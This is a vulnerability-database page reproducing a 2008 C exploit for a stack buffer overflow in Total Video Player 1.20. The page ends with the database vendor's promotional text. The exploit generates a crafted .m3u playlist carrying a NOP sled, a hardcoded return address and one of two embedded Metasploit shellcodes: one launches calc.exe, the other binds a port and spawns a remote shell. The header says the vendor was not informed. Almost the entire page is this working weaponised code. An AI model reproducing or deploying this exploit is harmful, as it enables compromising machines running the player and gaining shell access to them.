Lucene search
K

Total Video Player 1.20 M3U File Local Stack Buffer Overflow Exploit

🗓️ 07 Feb 2008 00:00:00Reported by fl0 fl0wType 
zdt
 zdt
🔗 0day.today👁 8 Views

Total Video Player 1.20 M3U File Stack Buffer Overflow Exploi

Code
====================================================================
Total Video Player 1.20 M3U File Local Stack Buffer Overflow Exploit
====================================================================



/*0day Total Video Player V1.20 .M3u File Local Stack Buffer Overflow
This exploit spawns Calc.exe or binds a port and spawns a shell and tested on Windows Xp sp 2.
I got the ideea to look in a prior version of TVP and
surprinse vuln to ,just as V1.30.
When parsing a crafted .m3u file stack gets corrupted,due a 
long string,and causes a stack overflow.We get control of the EBP and
EIP registers.The ESP register points exactly after the retaddress position.
[corrupted stack] [EIP->points here][ESP->points here]
So do a jmp back and a JMP ESP and it points to a specific part of
the stack that I want.Credits to finding this bug && sploit go to fl0 fl0w.
Vendor not informed yet.
Special THANKS to Expanders !!!!
*/ 
#include<stdio.h>
#include <stdlib.h>
#include <string.h>
#include<windows.h>

#define FIRST "#EXTM3U\r\n#EXTINF:3:50,-Ombladon - Noapte Buna Bucuresti Feat. Guesswho\r\nD:\\"
#define LAST ".mp3\r\n"
#define OFFSET 545

#define EVILFILE "evil.m3u"

//shellcode from metasploit
char scz1[]=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x37\x6a\x63"
"\x58\x30\x42\x30\x50\x42\x6b\x42\x41\x73\x41\x42\x32\x42\x41\x32"
"\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x38\x69\x69\x6c\x38"
"\x68\x41\x54\x77\x70\x57\x70\x75\x50\x6e\x6b\x41\x55\x55\x6c\x6e"
"\x6b\x43\x4c\x66\x65\x41\x68\x45\x51\x58\x6f\x4c\x4b\x50\x4f\x62"
"\x38\x6e\x6b\x41\x4f\x31\x30\x36\x61\x4a\x4b\x41\x59\x6c\x4b\x74"
"\x74\x6e\x6b\x44\x41\x4a\x4e\x47\x41\x4b\x70\x6f\x69\x6c\x6c\x4c"
"\x44\x4b\x70\x43\x44\x76\x67\x4b\x71\x4a\x6a\x66\x6d\x66\x61\x39"
"\x52\x5a\x4b\x4a\x54\x75\x6b\x62\x74\x56\x44\x73\x34\x41\x65\x4b"
"\x55\x4e\x6b\x73\x6f\x54\x64\x53\x31\x6a\x4b\x35\x36\x6c\x4b\x64"
"\x4c\x30\x4b\x6c\x4b\x73\x6f\x57\x6c\x75\x51\x6a\x4b\x6c\x4b\x37"
"\x6c\x6c\x4b\x77\x71\x68\x6b\x4c\x49\x71\x4c\x51\x34\x43\x34\x6b"
"\x73\x46\x51\x79\x50\x71\x74\x4c\x4b\x67\x30\x36\x50\x4c\x45\x4b"
"\x70\x62\x58\x74\x4c\x6c\x4b\x53\x70\x56\x6c\x4e\x6b\x34\x30\x47"
"\x6c\x4e\x4d\x6c\x4b\x70\x68\x37\x78\x58\x6b\x53\x39\x6c\x4b\x4f"
"\x70\x6c\x70\x53\x30\x43\x30\x73\x30\x6c\x4b\x42\x48\x77\x4c\x61"
"\x4f\x44\x71\x6b\x46\x73\x50\x72\x76\x6b\x39\x5a\x58\x6f\x73\x4f"
"\x30\x73\x4b\x56\x30\x31\x78\x61\x6e\x6a\x78\x4b\x52\x74\x33\x55"
"\x38\x4a\x38\x69\x6e\x6c\x4a\x54\x4e\x52\x77\x79\x6f\x79\x77\x42"
"\x43\x50\x61\x70\x6c\x41\x73\x64\x6e\x51\x75\x52\x58\x31\x75\x57"
"\x70\x63";
char scz2[]="\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x50"
"\x8a\xfa\x90\x83\xeb\xfc\xe2\xf4\xac\xe0\x11\xdd\xb8\x73\x05\x6f"
"\xaf\xea\x71\xfc\x74\xae\x71\xd5\x6c\x01\x86\x95\x28\x8b\x15\x1b"
"\x1f\x92\x71\xcf\x70\x8b\x11\xd9\xdb\xbe\x71\x91\xbe\xbb\x3a\x09"
"\xfc\x0e\x3a\xe4\x57\x4b\x30\x9d\x51\x48\x11\x64\x6b\xde\xde\xb8"
"\x25\x6f\x71\xcf\x74\x8b\x11\xf6\xdb\x86\xb1\x1b\x0f\x96\xfb\x7b"
"\x53\xa6\x71\x19\x3c\xae\xe6\xf1\x93\xbb\x21\xf4\xdb\xc9\xca\x1b"
"\x10\x86\x71\xe0\x4c\x27\x71\xd0\x58\xd4\x92\x1e\x1e\x84\x16\xc0"
"\xaf\x5c\x9c\xc3\x36\xe2\xc9\xa2\x38\xfd\x89\xa2\x0f\xde\x05\x40"
"\x38\x41\x17\x6c\x6b\xda\x05\x46\x0f\x03\x1f\xf6\xd1\x67\xf2\x92"
"\x05\xe0\xf8\x6f\x80\xe2\x23\x99\xa5\x27\xad\x6f\x86\xd9\xa9\xc3"
"\x03\xd9\xb9\xc3\x13\xd9\x05\x40\x36\xe2\xeb\xcc\x36\xd9\x73\x71"
"\xc5\xe2\x5e\x8a\x20\x4d\xad\x6f\x86\xe0\xea\xc1\x05\x75\x2a\xf8"
"\xf4\x27\xd4\x79\x07\x75\x2c\xc3\x05\x75\x2a\xf8\xb5\xc3\x7c\xd9"
"\x07\x75\x2c\xc0\x04\xde\xaf\x6f\x80\x19\x92\x77\x29\x4c\x83\xc7"
"\xaf\x5c\xaf\x6f\x80\xec\x90\xf4\x36\xe2\x99\xfd\xd9\x6f\x90\xc0"
"\x09\xa3\x36\x19\xb7\xe0\xbe\x19\xb2\xbb\x3a\x63\xfa\x74\xb8\xbd"
"\xae\xc8\xd6\x03\xdd\xf0\xc2\x3b\xfb\x21\x92\xe2\xae\x39\xec\x6f"
"\x25\xce\x05\x46\x0b\xdd\xa8\xc1\x01\xdb\x90\x91\x01\xdb\xaf\xc1"
"\xaf\x5a\x92\x3d\x89\x8f\x34\xc3\xaf\x5c\x90\x6f\xaf\xbd\x05\x40"
"\xdb\xdd\x06\x13\x94\xee\x05\x46\x02\x75\x2a\xf8\x2e\x52\x18\xe3"
"\x03\x75\x2c\x6f\x80\x8a\xfa\x90";

char jmpback[] = "\xE9\xDE\xFD\xFF\xFF"; 
void Notes();

    int main()
 { 
    FILE *p;
  unsigned char *buffer;
  unsigned int offset=0;
  unsigned int retaddress=0x015EE557;
  int input=0;
  Notes();
   if((p=fopen(EVILFILE,"wb"))==NULL)
{ printf("error\n"); exit(0);
   }
   scanf("%d",&input);
   switch(input)
  {  case 1:
             buffer=(unsigned char *)malloc(OFFSET+5+strlen(scz1)+12);
        
             memset(buffer+offset,0x90,OFFSET+5+strlen(scz1)+12);
             offset=OFFSET;
     
             memcpy(buffer+offset,&retaddress,4);    
             offset=OFFSET+4;
             offset+=12;
             memcpy(buffer+offset,scz1,strlen(scz1));
             offset+=strlen(scz1); 
             memset(buffer+offset,0x00,1);
             fprintf(p,"%s%s%s",FIRST,buffer,LAST);
             fclose(p);  
                                                                         break;
    case 2:              
             buffer=(unsigned char *)malloc(OFFSET+5+strlen(scz2)+12);
        
             memset(buffer+offset,0x90,OFFSET+5+strlen(scz2)+12);
             offset=OFFSET;
     
             memcpy(buffer+offset,&retaddress,4);    
             offset=OFFSET+4;
             offset+=12;
             memcpy(buffer+offset,scz2,strlen(scz2));
             offset+=strlen(scz2); 
             memset(buffer+offset,0x00,1);
             fprintf(p,"%s%s%s",FIRST,buffer,LAST);
             fclose(p); 
                                                                          break;
  }  

 free(buffer);
 return 0;
  }
  
void Notes()
{   printf("^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n");
    printf("Total Video Player V1.20 .M3u File Local Stack Buffer Overflow\n");
    printf("Credits for finding this bug&&sploit go to fl0 fl0w\n");
    printf("SPECIAL THANKS TO EXPANDERS\n\n");
    printf("{1}Spawn Calc.exe\n");
    printf("{2}Bind port&&spanw a shell\n\n"); 
    printf("^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n");
}  


` 

#  0day.today [2018-01-02]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation